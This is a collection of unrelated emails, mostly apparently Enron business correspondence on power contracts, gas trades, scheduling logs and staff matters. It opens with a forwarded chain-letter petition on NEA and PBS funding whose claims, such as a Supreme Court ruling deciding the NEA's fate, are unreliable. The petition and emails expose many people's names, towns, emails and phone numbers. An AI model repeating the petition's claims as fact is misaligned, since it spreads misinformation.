FYI  - Europe spends an average of $4-9 per person on
the arts compared with the US at .64 and declining.

>
> On NPR's Morning Edition, Nina Totenberg reported
> that
> if the
>
> > Supreme Court supports Congress to cut the budget
> of
> the National
>
> > Endowment of the Arts, it is in effect the end of
> NEA. This situation
>
> > creates
>
> > great concerns about Congressional funding for
> creative arts in
> America,
>
> > since
>
> > NEA provides major support for NPR (National
> Public
> Radio), PBS
> (Public
>
> > Broadcasting System), and numerous other creative
> and performing
> arts.
>
> If
>
> > NEA is lost or weakened, our lives will be
> similarly
> diminished.
>
> >
>
> > In spite of the efforts of each station to reduce
> spending costs and
>
> > streamline their services, some government
> officials
> believe that
>
> > the funding currently going to these programs is
> too
> large a portion
> of
>
> > funding for something which is seen as not
> worthwhile.
>
> >
>
> > Currently, taxes from the general public for PBS
> equal $1.12 per
> person
>
> > per year, and the National Endowment for the Arts
> equals $.64 a year.
>
> > A January 1995 CNN/USA Today/Gallup poll indicated
> that 76% of
>
> > Americans wish to keep funding for PBS, third only
> to national
> defense
>
> and
>
> > law enforcement as the most valuable programs for
> federal funding.
>
> >
>
> > Each year, the Senate and House Appropriations
> Committees each have
> 13
>
> > subcommittees with jurisdiction over many programs
> and agencies.
>
> > Each subcommittee passes its own appropriation
> bill.
>  The goal each
> year
>
> is
>
> > to have each bill signed by the beginning of the
> fiscal year, which
> is
>
> > October 1.
>
> >
>
> > The only way that our representatives can be aware
> of the base of
> support
>
> > for PBS and funding for these types of programs is
> by our making our
>
> > voices heard.
>
> >
>
> > Please add your name to this list and forward it
> to
> friends who
>
> > believe in favor of what this stands for.
>
> >
>
> > The full list will be forwarded to the President
> of
> the United
> States,
>
> > the Vice President, and the Speaker of the House,
> whose office has in
>
> > the past been the instigator of the action to cut
> funding to these
>
> > worthwhile programs.
>
> >
>
> > This petition is being passed around the Internet.
>
> Please add your
> name
>
> > to it so that funding can be maintained for the
> NEA,
> NPR, and PBS.
>
> >
>
> > THIS IS OUR CHANCE TO MAKE INTERNET TECHNOLOGY
> WORK
> AS A VOICE IN OUR
>
> > DEMOCRATIC SYSTEM.  IT'S EASIER THAN EVER TO MAKE
> OUR VOICES HEARD.
>
> >
>
> > Please keep the petition rolling.  Do not reply to
> me.
>
> >
>
> > Sign your name and locale to the list and forward
> it
> to others to
> sign.
>
> > If you prefer not to sign, please send the list to
> the email address
>
> > given below.  This is being forwarded to numerous
> people at once to
> add
>
> > their names to the petition. It won't matter if
> many
> people receive
>
> > the same list, as the names are being managed.
> This
> is for anyone
> who
>
> > thinks NPR and PBS deserve $1.12/year of their
> taxes.
>
> >
>
> > If you sign, please forward the list to others.
> If
> not, please don't
>
> kill
>
> > it.
>
> >
>
> > **** If you happen to be the 150th, 200th, 250th,
> etc., signer of
> this
>
> > petition, please forward a copy to:
> wein2688@blue.univnorthco.edu
> This
>
> > way we can keep track of the lists and organize
> them.  Forward this
> to
>
> > everyone you know, and help us to keep these
> programs alive.
>
> >
>
> > Thank you !!!
>
> > NOTE: It is preferable that you SELECT the
> entirety
> of this letter
> and
>
> > then COPY it into a NEW outgoing message, rather
> than simply
> forwarding
>
> > it.  In your new outgoing message, add your name
> to
> the bottom of the
>
> > list, then send it on.  Or, if the option is
> available, do a SEND
> AGAIN.
>
> >
>
> > 1.  David Liberman, Sylva, NC
>
> > 2.  Marie Harrison, Sylva, NC
>
> > 3.  Randi Beckmann, Ithaca, NY
>
> > 4.  Bill Wertheim, Mt.  Vernon, NY
>
> > 5.  Marlene Wertheim, Mt.  Vernon, NY
>
> > 6.  George Wertheim, San Francisco, CA.
>
> > 7.  Linda Wertheim, San Francisco, CA
>
> > 8.  Linda R.  Semi, Walnut Creek, CA
>
> > 9.  Margaret C.  Forness, Pleasant Hill, CA
>
> > 10.  Phillip D.  Rubenstein, Syracuse, NY
>
> > 11.  Timothy J.  Connell, Madison, WI
>
> > 12.  Stacia E.  Jesner, Mt.  Kisco, NY
>
> > 13.  Jenna Schnuer, NYC, NY
>
> > 14.  Julia Kohn, NY, NY
>
> > 15.  Maria Sarro, NY, NY
>
> > 16.  Evan Schwartz, Cliffside Park, NJ
>
> > 17.  Pat Waters, Lakewood, CO
>
> > 19.  Karen Tilton, Maquoketa, IA
>
> > 20.  Kent Crawford
>
> > 21.  Terry Dillon
>
> > 22.  Gene Bechen, Coralville, IA
>
> > 23.  Neal Schnoor, Kearney, NE
>
> > 24.  Sam Zitek, Crete, NE
>
> > 25.  Jay Kloecker
>
> > 26.  Marilyn Godby, Papillion, NE
>
> > 27.  Lucina Johnson
>
> > 28.  Alfred Tom Johnson
>
> > 29.  Tyler Corey Johnson
>
> > 30.  A.  Corey Limbach
>
> > 31.  Paula Smith, Berkeley, CA
>
> > 32.  Pat Quinn, Alameda, CA
>
> > 33.  Andrea Quinn, Alameda, CA
>
> > 34.  Jerry Hackett, Berkeley, CA
>
> > 35.  Richard Hackett, NY
>
> > 36.  Jeffrey Green, CA
>
> > 37.  Phil Chernin, CA
>
> > 38.  Sandra S.  Bauer, CA
>
> > 39.  Gregory LeVasseur, San Francisco, CA
>
> > 40.  Keiko LeVasseur, San Francisco, CA
>
> > 41.  Diego Gonzalez, San Francisco, CA
>
> > 42.  David D.  Berkowitz, Washington, DC
>
> > 43.  Peter Glass, Bellevue, WA
>
> > 44.  Mary Frances Rimpini, Kent, WA
>
> > 45.  Mary Frances Stevens, Kirkland, WA
>
> > 46.  Linda Grebmeier, Benicia, CA
>
> > 47.  Lee Altman, Benicia, CA
>
> > 48.  Jeffrey Gray, South Orange, NJ
>
> > 49.  Ed Jones, Orange, NJ
>
> > 50.  Daniel P.  Jones, Glenside, PA
>
> > 51.  Jenifer Goetz, State College, PA
>
> > 52.  Arnold R.  Post, Carrboro, NC
>
> > 53.  Anna E.  Post, Carrboro, NC
>
> > 54.  Robert A.  Post, Cape May, NJ
>
> > 55.  Evelyn M.  Post, Cape May, NJ
>
> > 56.  Jay A.  Sklaroff, Philadelphia, PA
>
> > 57.  Harry M.  Sklaroff, Washington, DC
>
> > 58.  Susan E.  Salmons, Washington, DC
>
> > 59.  Dori Langevin, Silver Spring, MD
>
> > 60.  Ted Langevin, Silver Spring, MD
>
> > 61.  David Mercier, Easton, MD
>
> > 62.  Phoebe Harding, Baltimore, MD
>
> > 63.  Molly Rath, Baltimore, MD
>
> > 64.  Terry O'Hara, Baltimore, MD
>
> > 65.  Nina Wendt, Baltimore, MD
>
> > 66.  Marilyn Clark, Baltimore, MD
>
> > 67.  Cathy McKinney, Boone, NC
>
> > 68.  Harold McKinney, Boone, NC
>
> > 69.  Milena Garcia, Columbia, MD
>
> > 70.  Timothy Morrison, Devore, CA
>
> > 71.  Virginia S.  Kallay Cleveland, OH
>
> > 72.  Nancy Cleaveland, Atlanta, GA
>
> > 73.  Cindy Lutenbacher, Decatur, GA
>
> > 74.  Kaye Norton, Columbus, OH
>
> > 75.  Elaine Haidt, Chapel Hill, NC
>
> > 76.  Harold Haidt, Chapel Hill, NC
>
> > 76.  Frank Church, Chapel Hill, NC
>
> > 77.  Astrid R.  Jarzembowski, Garrison, NY
>
> > 78.  Ted Wischhusen, Mesa, AZ
>
> > 79.  Hugh Wischhusen, Tucson, AZ
>
> > 80.  Theo Wischhusen, North Brunswick, NJ
>
> > 81.  Ian Swanson, Bakersfield, CA
>
> > 82.  Beigher Taylor, Bakersfield, CA
>
> > 83.  Donald McClure, San Diego, CA
>
> > 84.  Kimberly Ver Steeg, New York, NY
>
> > 85.  Lynda Akerman, Long Island City, NY
>
> > 86.Theresa
>
> > 87 Donnell Moseley
>
> > 88. Louise Sanchione, Scottsdale, AZ
>
> > 89.  Ryan Krch, Phoenix, AZ
>
> > 90. Dayna Kowata Robinson, Mesa, AZ
>
> > 91. Nancy Lust
>
> > 92. Holly Thorsen
>
> > 93  (Rtrd St Senator) Donn Charnley, Shoreline, WA
>
> > 94. Mary F. Fox, Shoreline, WA
>
> > 95. Brenda Devereux-Graminski, Shoreline, WA
>
> > 96. Jerry Graminski, Shoreline, WA
>
> > 97. Karen Johnson, Redmond, WA
>
> > 98. Francine Staczek, Seattle, WA
>
> > 99. David Staczek, Seattle, WA
>
> > 100. Maya Lucchitta, Seattle, WA
>
> > 101. Markus Doerry,  Anchorage, AK
>
> > 102.  Janae Wallace, Salt Lake City, UT
>
> > 103. Karen De Rose Salt Lake City, UT.
>
> > 104.  Hilary Garrett  Vancouver, WA
>
> > 105.  Mike Rivera, Taos, NM
>
> > 106. Jaquelin LoydTaos,NM
>
> > 107.  Allegra Huston, Taos NM
> > 108. Trey Speegle, Brooklyn, NY
> > 109. Roswell Hamrick, New York City, NY
> 110. Peter Frank, New York City
> 111. Stephen Magner, Washington DC
> 112. Ilse Lemke, Corte Madera, CA
> 113. Anna Kauffman, San Francisco, CA
> 114. Kelly Irby
115. Amelia Stephan, San Francisco, CA
>116. Nicholas Stephan, Houston, TX

>117.       Susan Scott, Houston, TX


Please print the attachments. Thank you.

 -----Original Message-----
From: 	Elbertson, Janette   On Behalf Of Haedicke, Mark
Sent:	Wednesday, March 21, 2001 12:06 PM
To:	Derrick Jr., James
Cc:	Harris, Stephanie J
Subject:	Enron Wholesale Services Legal Department Monthly Report

The attached report summarizes current significant legal activities of EWS Legal as of March 15, 2001.  This report does not attempt to list all transactions or include reference to on-going maintenance of completed transactions.

Please let me know if you have questions.


*We apologize for the previous message, we experienced an error in our system

Henwood Power Market Symposium, April 29th-May 1st

We are excited to offer you an invitation to attend the Henwood Power Market
Symposium.  This annual three-day event will take place from April 29 to May
1, 2001 in Atlanta, GA at the
Evergreen Mountain Resort.  The goal of the Symposium is to provide our
guests a forum to conduct business across all energy markets through the
sharing of experiences and innovations, and
through numerous networking opportunities.  Participants will also gain
access to Henwood's software products, consulting services and e-Business
products, as a means to develop competitive
strategies and unequalled value in restructured markets.

The focus of the Symposium is to provide relevant discussion topics,
technologies and competitive strategies.  This year's featured speakers
include senior representatives from Enron, Conoco,
Electric Power Research Institute, FERC, New England ISO, and more.

Please register early because space is limited! If you register prior to
April 1st, the symposium cost is only $875.  After April 1st, the
registration fee will be increased to $975.  Your registration is
inclusive of the following:

* Complete hotel accommodations for Sunday April 29th and Monday April 30th,
2001
* All meals and refreshments for April 29th through May 1st. A welcome
reception is planned for Sunday, April 29th.  This reception is an excellent
opportunity to network with market participants
and decision-makers of the electric power industry.
* A river boat dinner cruise scheduled for Monday, April 30th on board the
Henry W. Grady Paddlewheel Riverboat. Spouses are welcome to attend the
evening reception and dinner cruise.

A captain and crew golf tournament is also planned for Sunday, April 29th for
an additional fee.  We invite golfers of all levels to participate in this
event.

For more information contact Heather Mason (e-mail: hmason@hesinet.com) at
916 569-0985. You can also learn more about the Symposium by visiting our web
site at www.hesinet.com.

* Make sure to ask about our special 2001 Henwood client discount.


Per your request.
---------------------- Forwarded by Kay Mann/Corp/Enron on 06/13/2000 04:57
PM ---------------------------

Linda J Simmons@ECT
06/13/2000 08:45 AM
To: Kay Mann/Corp/Enron@Enron, Heather Kroll/HOU/ECT@ECT, Ozzie
Pagan/HOU/ECT@ECT, Jeffrey M Keenan/HOU/ECT@ECT, Tom Chapman/HOU/ECT@ECT
cc:

Subject: VEPCO PPA

----- Forwarded by Linda J Simmons/HOU/ECT on 06/13/2000 08:44 AM -----

	"Nancy Wodka" <nwodka@bracepatt.com>
	06/12/2000 04:20 PM

		 To: <linda.j.simmons@enron.com>, <lisa.mellencamp@enron.com>
		 cc: "William Frederking" <wfrederking@bracepatt.com>
		 Subject: VEPCO PPA

Lisa:  Attached is a draft of the Power Purchase Agreement with VEPCO, based
on the current version of the term sheet.  In preparing the draft, we did
encounter several additional questions for Enron's consideration.  These are
noted with brackets and, in some cases, italicized notes, in the draft and
are also highlighted below.  You may want to address these issues before this
goes to VEPCO.

Cover and first page-- Should the party to the agreement (for the moment) be
ENA or a special purpose company?

Definitions--  We included a defined term "Emergency Start-Up" (a start up or
increase in energy scheduled during a day) and a place in Exhibit A to
include a price for this, although this was not covered in the term sheet.

Section 2.2--  We included a provision for VEPCO to take test energy (energy
charge only; no demand charge)--do you want this?

Section 2.3--  This was taken from the term sheet, but is it correct that COD
will be July 1 (since the demand charge is supposed to start June 1?)  Also,
it would be best to define "commencement of construction" to avoid
controversy down the road.  We could either do this now or put in a
placeholder that indicates it needs to be defined or be silent, whichever is
your preference.  Also, bear in mind that we have not included a specific
remedy (e.g., liquidated damages) if the Seller does not achieve that
milestone on time.  Under the default provision (Section 8.1(c)), there would
be a 30 day period to cure before Buyer could terminate (extendible to 90
days if a longer period of time is needed and Seller diligently pursues the
cure).  Would you prefer the right to pay ld's and extend the time period?

Section 3.1(b)--  Should the 1400 hour limitation apply to all sales under
this PPA or only sales from the Facility?  I.e., would you use this Agreement
to sell to VEPCO power in addition to what would be available from the
Facility?  Also, is this a calendar year limitation--i.e., could they take
1400 hours in the period June-Dec. 2001 or does the 1400 hours need to be
pro-rated for the first year?

Section 3.4-- Since this is not a base load plant, the normal definition of
Availability as the number of hours in a year of operations compared to the
total hours in the year would not seem to be applicable.  Instead, we stated
that the Facility would be capable of being available 92% of the year (other
than due to Force Majeure and 336 hours (2 weeks) of scheduled
maintenance)--i.e., that if they tried to schedule it, it is expected to be
available.  Is that what Enron intended?  Additionally, the term sheet stated
that a remedy for failure to meet Availability would need to be agreed--why
wouldn't cost of cover damages be appropriate? Also, please note that we
included language stating that Seller will not perform maintenance during
peak periods.

Section 3.5(b)-- Please note the bracketed language re taking Blocks of
Energy.  We have 50 MW minimum blocks but the capacity is 223--should we
allow the last Block to be 23 if they've scheduled all the rest?

Section 3.5(c)-- Please see the bracketed language at the end of this Section.

Section 4.7-- Should there a required minimum take of Energy?

Article 6-- The Genco/Santee Cooper form of PPA we used as a model did not
have any provisions on metering.  (See placeholder note in Article 6.)  Do
you want to add such a provision, ignore it or just include a placeholder for
now?

Section 9.1-- Is 30 days from invoice correct for the payment due date or
would you prefer a shorter period?

Article 15-- The Genco/Santee Cooper form had mediation as a required step
prior to arbitration.  Should we keep that?  Also, the form of arbitration is
"baseball" arbitration--i.e.,  the arbitrators have to chose one party's
position or the other's.  Is that what you want?

Section 16.2--  We used New York for governing law, on the premise that it
will be difficult to get VEPCO to agree to Texas law and we would not
recommend Virginia law for this contract.

Exhibit A-- There are a number of questions on the pricing exhibit--please
see the bracketed notes therein.

Please call and let us know how you would like to proceed on this draft.

 - VEPPPA.DOC


John Lavorato confirmed that UBS is indeed the winner.  As I understand it, UBS has come to an agreement with Enron for the purchase of the North America Gas/Power Trading and Marketing organization.  We either have received or are expected to receive approval from the Creditors committee today.  Creditors Committee approval is considered likely as they have been in the loop on this transaction all along.  It will most likely go in front of the judge on Monday.  Approval from the judge is expected.  I have a meeting in the next couple of hour where I will get more details.  Stay tuned ...

Tim


Please print all attachments and make a folder:  Tolling (Enron tolling).

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 05/24/2001 04:57
PM ---------------------------

Rhonda L Denton@ECT
05/24/2001 02:34 PM
To: Kay Mann/Corp/Enron@Enron
cc:

Subject: Indeck Pepperell


Folks,

I think you already know who I am, but just in case, let me introduce myself.  I work in the Houston office in Government Affairs.  I primarily work on larger-scale regulatory issues, such as NERC Policy and FERC Order 889.  Some of my main focuses are NERC Policies 3 and 9, the East's IDC tool, E-Tag, and OASIS.

I am fairly involved with the ESC (Electronic Scheduling Collaborative) and OSC (OASIS Standards Collaborative), and based on some discussions with several folks, thought it might be a good idea to come to Portland and spend some time with you. The goals of this trip are threefold:

1.) Make physical contact with folks in the West, developing relationships
2.) Discuss current events in the regulatory arena with regard to E-Tag, OASIS, and the ESC
3.) Observe a "day in the life of" a WSCC real-time trader and a scheduler

To this end, I will be visiting Portland next week.  I will arrive Monday night, and plan on leaving Thursday afternoon.  Given this, I would like to coordinate when would be the best times to get together with you and your groups.

Alan Comnes has suggested that we address item 2 on the afternoon of the 19th.  That should leave all day on the 18th and the mornings of the 19th and 20th for us to meet and work together.  Do you folks have any preference as to when you would like me to "sit in" and if you would like to have any specific group or one-on-one discussions?  Please let me know, as I am flexible and really looking to learn how I can best support your goals in my Government Affairs activities.

I look forward to meeting you all in person and spending time with you.  Thanks in advance for your help.

Andy Rodriquez
Regulatory Affairs - Enron Corp.
andy.rodriquez@enron.com
713-345-3771


FYI---attached is a copy of the slides I used for my recent speech in Saudi.
Speech was well received by those pushing for privatization in Saudi (Crown
Prince's office, Gas Initiative committee, etc) but met with resistance frome
the entrenched monopolists (ARAMCO, Saudi Electric, Saudi Water etc.)
Similar dynamics as japan.

Had a very good meeting with the Head of ARAMCO---Harvard educated, very
competent executive but with some real constraints being imposed on him.  I
will see him again soon now that I know him---there may be some cool
service-related opportuniites for us within ARAMCO that could be big.  It
won't cost us much in time or money to find out.

Rick
---------------------- Forwarded by Rick Bergsieker/ENRON_DEVELOPMENT on
11/15/2000 04:54 AM ---------------------------

Ahmed Hassanein
11/12/2000 06:19 AM
To: Rick Bergsieker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Terence H
Thorn/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rob
Stewart/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Samir
Salama/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Edward Ward/NA/Enron@ENRON
cc:

Subject: Rick's presentation is Saudi

Here is the final version I have of Rick's presentation.

Best regards,
Ahmed


To:       Eric_Bass.enronXgate.ENRON@enron.net
cc:
From:     "Danielle Samson" <deesamson@hotmail.com>@ENRON COMMUNICATIONS
Date:     11/26/2001 02:19:37 PM CST
Subject:  RE:

the family is great!  and yours?  i'm doing well, i'm actually back in
houston and really enjoying it!  i was going through some boxes at my
parents during all the moves, and found some things from austin or maybe
even from high school that were yours.  i figured you probably had no need
for any of them, much less even given any of them any thought, but before i
tossed them, just though i would check.... and no, Lucky was not in the
stack of things to get rid of!  how are things in your life?  i'm sure you
could care less about the books and binders and stuff, but i just wanted to
make sure.  i also just wanted to see how you were doing.

take care.
danielle

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


Lara:
I would very much like to attend but have a meeting scheduled that day with
Chris Calger (ENA) and the CEO and CFO of Sempra Energy (we're trying to do a
deal with them).   That's a date that I can't change.  I can meet on Nov.
3rd, or Nov. 7-9.  Hope it's possible to re-arrange

Best,
Jeff

	Lara Leibman
	10/20/2000 07:41 AM

		 To: Jeff Dasovich/NA/Enron@Enron, Mike
Dahlke/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: Sue Nord/NA/Enron@Enron, Donald Lassere/Enron Communications@Enron
Communications
		 Subject: Tax, Legal, Regulatory and Accounting Meeting

Jeff and Mike,

Our first meeting has been scheduled to take place on November 2nd.  The
meeting will probably last half a day and will begin around 1pm.  Please let
me if you plan to attend.  Thanks and have a great weekend.

Regards,
Lara


According to Kimat, TP2 gets the NYPA sale at Mamou at the prices show below.  We have 3 options on serving this deal:
1) buy Texas Gas capacity and ship the gas on a secondary basis from the Zone SL Pool
2) use Transco Zone 3 wellhead
3) buy Trco capacity and ship the gas on a secondary basis from St 65

Most of the time we use option #1.  Texas Gas is cheaper than Trco even after paying the transport cost.  However, this deal comes to the TP2 book at the prices listed below.  For April, TP2 purchased the gas from GULF2 at the Zone SL IF + $.005 and shipped it to Mamou.  The total transport cost  is $.02 (including demand - this changes each month).  We don't arb the supply with Trco and Texas Gas because NYPA is extremely difficult to work with and this is a term firm sale to NYPA.

Should we change the mid price for the NYPA to include both the Zone SL mid price  and the transport expense?

---------------------- Forwarded by Chris Germany/HOU/ECT on 03/27/2001 03:21 PM ---------------------------

Kimat Singla
03/08/2001 12:54 PM
To:	Chris Germany/HOU/ECT@ECT
cc:
Subject:	Re: Sale to NYPA

At TGT/ZSL mid i.e.
				Index	                     5.01
				Other fee	       .01
				Physical Prem          .005
				Total                          5.025

Questions, please call.

Kimat

	  From:  Chris Germany                           03/08/2001 08:23 AM

To:	Kimat Singla/HOU/ECT@ECT
cc:
Subject:	Sale to NYPA

What mid price does this deal come to TP2 at?   Deal 655067

<Embedded StdOleLink>


I think your issue is one of many why Glisan was fired.
I'll call you later to discuss
Frank


Start Date: 2/6/02; HourAhead hour: 14;  HourAhead schedule download failed. Manual intervention required.


OMNIPATH Registration (created by alpwebsrv33b@TOPS.PACIFICORP.COM on
4/26/99)


Start Date: 4/24/01; HourAhead hour: 23;  No ancillary schedules awarded.
Variances detected.
Variances detected in Generation schedule.
Variances detected in SC Trades schedule.
Variances detected in Load schedule.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final
Schedules\2001042423.txt

---- Generation Schedule ----
$$$ Variance found in table tblGEN_SCHEDULE.
     Details: (Hour: 23 / Preferred:   0.00 / Final:   0.00)
  TRANS_TYPE: FINAL
  SC_ID: EES
  MKT_TYPE: 2
  TRANS_DATE: 4/24/01
  UNIT_ID: BADLND_7_PL1X2

---- SC Trades Schedule ----
$$$ Variance found in table tblInt_Interchange.
     Details: (Hour: 23 / Preferred: -525.00 / Final: -522.24)
  TRANS_TYPE: FINAL
  SC_ID: EPMI
  MKT_TYPE: 2
  TRANS_DATE: 4/24/01
  TRADING_SC: NES1
  PNT_OF_INTRC: SP15
  SCHED_TYPE: ENGY
  PURCH_SALE: 1
  DEAL_NO: 1

---- Load Schedule ----
$$$ Variance found in table tblLoads.
     Details: (Hour: 23 / Preferred:   5.37 / Final:   4.63)
  TRANS_TYPE: FINAL
  LOAD_ID: PGE2
  MKT_TYPE: 2
  TRANS_DATE: 4/24/01
  SC_ID: EPMI
$$$ Variance found in table tblLoads.
     Details: (Hour: 23 / Preferred:  48.96 / Final:  46.36)
  TRANS_TYPE: FINAL
  LOAD_ID: PGE3
  MKT_TYPE: 2
  TRANS_DATE: 4/24/01
  SC_ID: EPMI


Al,

When I asked the question, I was told that the invoices needed to go to
Jody.  If there's a desire for the invoices to go elsewhere, it will need to
be addressed with Lisa Bills, with Roseann Engeldorf being consulted.   I do
not know if the financing documents limit or otherwise specify the handling
of invoices.

Hope this helps.

Kay


Start Date: 1/5/02; HourAhead hour: 16;  No ancillary schedules awarded.  No variances detected.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002010516.txt


i sold 1,000/d of apr/oct @ 3.02 for GD-Y-Gas Daily book. please put in that book. Thanks.


Kay,

Here's the Term Sheet for the Cogentrix deal.  Hopefully, this will help you draft an appropriate EEI.  Kayne asked me to tell you that this deal would be quite similar to the deal with Mobile and the Alamac plants, so you should be able to use similar templates.

Please feel free to give me a holler with any questions or comments.  Once again there is a sense of urgency on their side to get this done ASAP, as their contract expires 10/2001.  Thanks for looking at this on a short notice...our coordination has suffered due to the ghastly events in NY and Washington.

Regards,
Rahil
3-3206

 -----Original Message-----
From: 	Coulter, Kayne
Sent:	Tuesday, September 11, 2001 7:45 AM
To:	Jafry, Rahil
Cc:	Mayes, Tomasine; Will, Lloyd; Kinser, John; Miller, Jeffrey; Day, Smith L.; Dean, Clint; Bolt, Laurel
Subject:	Cogentrix

Here is the Term Sheet for Cogentrix (Kenansville).


I don't know of any days yet.

d

 -----Original Message-----
From: 	Jackson, Brandee
Sent:	Monday, October 29, 2001 12:05 PM
To:	Greif, Donna; Kinsey, Lisa; Calcagno, Suzanne; Farmer, Daren J.; Smith, George F.; Superty, Robert
Subject:	FW: Calendar

This is just a reminder.  Please let me know of any time that you will be out of the office for the month of November.

 -----Original Message-----
From: 	Jackson, Brandee
Sent:	Friday, October 19, 2001 12:26 PM
To:	Greif, Donna; Olinger, Kimberly S.; Kinsey, Lisa; Sullivan, Patti; Calcagno, Suzanne; Jaquet, Tammy; Farmer, Daren J.; Smith, George F.; Lamadrid, Victor; Superty, Robert
Cc:	Saldana, Alex
Subject:	Calendar

Hello,

Please let me know any time that you may be out of the office for the months of November
and December.  Please respond by Monday, the 29th.

Thanks,
Brandee Jackson
713-345-4013


I will be moving to Houston by the end of the month. I am actually going to
be trading electricity so that should be an interesting change from nat gas.
We will have to hook up once I get settled. How much longer are you going to
be in Boston? How far is Dallas from Houston?

Keep in touch!

Chris


I just wanted to let you all know that I really enjoyed working with you all. It has been a pleasure and a ton of fun to work for such great people. I hope to stay in contact with you and please keep hold of my email address and resume for anything you may see a need for in the future. Also if you wouldnt mind being a reference for me it would be greatly appreciated and you can email me your information.

Thanks again,
Jason

jpanos@houston.rr.com


---------------------- Forwarded by Scott Neal/HOU/ECT on 05/09/2001 12:43 PM
---------------------------
From: Matt Motsinger/ENRON@enronXgate on 05/09/2001 08:44 AM
To: Phillip K Allen/HOU/ECT@ECT, John Arnold/HOU/ECT@ECT, Jennifer
deBoisblanc Denny/ENRON@enronXgate, David Forster/ENRON@enronXgate, Kimberly
Hillis/ENRON@enronXgate, Louise Kitchen/HOU/ECT@ECT, Thomas A
Martin/ENRON@enronXgate, Torrey Moorer/ENRON@enronXgate, Matt
Motsinger/ENRON@enronXgate, Scott Neal/HOU/ECT@ECT, Savita
Puthigai/ENRON@enronXgate, Jennifer Rosado/ENRON@enronXgate, Tammie
Schoppe/HOU/ECT@ECT, Hunter S Shively/ENRON@enronXgate, Tara
Sweitzer/ENRON@enronXgate, Andy Zipper/ENRON@enronXgate
cc:
Subject: EOL Average Deal Count by Trader and Product as of 5-8-01

The following file contains a graphical view of the North American Gas
average deal count by Trader and Product for EOL. This information is for
comparative analysis only.  Do not update links when opening this file.

If you have any questions regarding this breakout, please let me know .

Matt Motsinger
EnronOnline
713-853-5221


David,

I think we should follow the developments and adjust our processes
to avoid legal exposures. I heard that Microsoft was hit
with a $5 billion suit related to alleged discrimination through the ranking
process.

Vince

From: David Oxley/ENRON@enronXgate on 03/19/2001 12:16 PM
To: Vince J Kaminski/HOU/ECT@ECT
cc:
Subject: RE: NYTimes.com Article: Companies Turn to Grades, and Employees Go
to Court

interesting. what do you take away from this piece?

 -----Original Message-----
From:  Kaminski, Vince
Sent: Monday, March 19, 2001 11:31 AM
To: David Oxley/HOU/ECT@ENRON
Subject: NYTimes.com Article: Companies Turn to Grades, and Employees Go to
Court

David,

FYI

Vince
---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/19/2001
11:31 AM ---------------------------

vkamins@enron.com@ms1.lga2.nytimes.com on 03/19/2001 09:35:38 AM
Please respond to vkamins@enron.com
Sent by: articles-email@ms1.lga2.nytimes.com
To: vkamins@enron.com
cc:
Subject: NYTimes.com Article: Companies Turn to Grades, and Employees Go to
Court

This article from NYTimes.com
has been sent to you by vkamins@enron.com.

Jeff,

FYI,

Vince

/-------------------- advertisement -----------------------\

Let NYTimes.com Come to You

Sign up for one of our weekly e-mails
and the news will come directly to you.
YOUR MONEY brings you a wealth of analysis
and information about personal investing.
CIRCUITS plugs you into the latest on
personal technology. TRAVEL DISPATCH offers
you a jump on special travel deals and news.

http://email.nytimes.com/email/email.jsp?eta5

\----------------------------------------------------------/

Companies Turn to Grades, and Employees Go to Court

By REED ABELSON

An increasingly popular technique for evaluating employees is
prompting lawsuits charging discrimination at three big companies.

 At issue is the ranking of managers, professionals and sometimes
lower-level employees from best to worst, or grading them on a bell
curve, and then using that ranking to help determine pay and
sometimes whether to fire someone.

 In their suits, all filed over the last year or so, employees at
Microsoft, Ford Motor and Conoco say the rating systems are unfair
because they favor some groups of employees over others: white
males over blacks and women, younger managers over older ones and
foreign citizens over Americans.

 A growing number of companies are turning to grading systems, also
known as forced rankings or distributions, as a way of making sure
managers evaluate employees honestly and make clearer distinctions
among them. At companies that do not compare employees with one
another this way, nearly every employee can come away feeling above
average, like the children of Lake Wobegon. But under the grading
system, managers are forced to identify some people as low
performers.

 At General Electric, for example, supervisors identify the top 20
percent and bottom 10 percent of their managerial and professional
employees every year. The bottom 10 percent are not likely to stay.

 As John F. Welch Jr., General Electric's chief executive, wrote
last month to shareholders, "A company that bets its future on its
people must remove that lower 10 percent, and keep removing it
every year * always raising the bar of performance and increasing
the quality of its leadership."

 Ranking or grading employees is also common at technology
companies like Cisco Systems and Hewlett- Packard. But recently the
concept has been catching on more broadly, according to management
consultants. One reason is that as the economy slows, companies
often lay off employees. Cisco, for example, announced earlier this
month that it would let go as many as 5,000 workers * and would use
grading as one way to identify people to lay off.

 "Companies are playing their version of `Survivor,' " said David
Thomas, a professor at the Harvard Business School.

 Another reason is that some companies are eager to copy Mr. Welch,
long viewed as one of the most successful managers in America.

 Defenders of these systems say anyone who gets a low grade is
likely to view the process as unfair. " `A' students love grades;
`F' students hate grades," said John Sullivan, a human resources
professor at San Francisco State University.

 But the techniques, which some employees label with terms like
"rank and yank," have come under sharp criticism. While they appear
to offer an objective way to judge employees, they can be
vulnerable to bias, Mr. Thomas said. Managers may stereotype
employees when evaluating them on vague criteria like career
potential * deciding that older workers, for example, may have a
harder time keeping up with new technology.

 In some cases managers can view these systems "as a tool to be
used to weed out the ones you don't want," said Thomas S. McLeod, a
lawyer in Canton, Mich., who represents employees suing Ford in
another case.

 Critics of the system also argue that companies should not apply a
bell curve, in which a small number of employees get the highest
and lowest rankings and a much larger number are grouped in the
middle. The bell curve model assumes a normal distribution among a
very large group of random individuals, not small groups.

 What is more, across a company, people who belong to a
particularly talented unit will suffer if a certain number of them
must be given poorer grades than they would get in another unit.

 "You end up with dysfunctional results," said Edward E. Lawler
III, a business professor at the University of Southern California.

 Some lawsuits contend that Microsoft's grading systems are
discriminatory. One, filed last October, seeks class-action status
on behalf of blacks and women. The suit states that the rating
system "permits managers, who are predominantly white males, to
rate employees based upon their own biases rather than based upon
merit."

 According to the lawsuit, employees are rated on a five-point
scale, with only a certain percentage permitted to receive each
score. Employees doing the same job in the same unit are also given
a "stack ranking," from most to least valuable. Managers decide
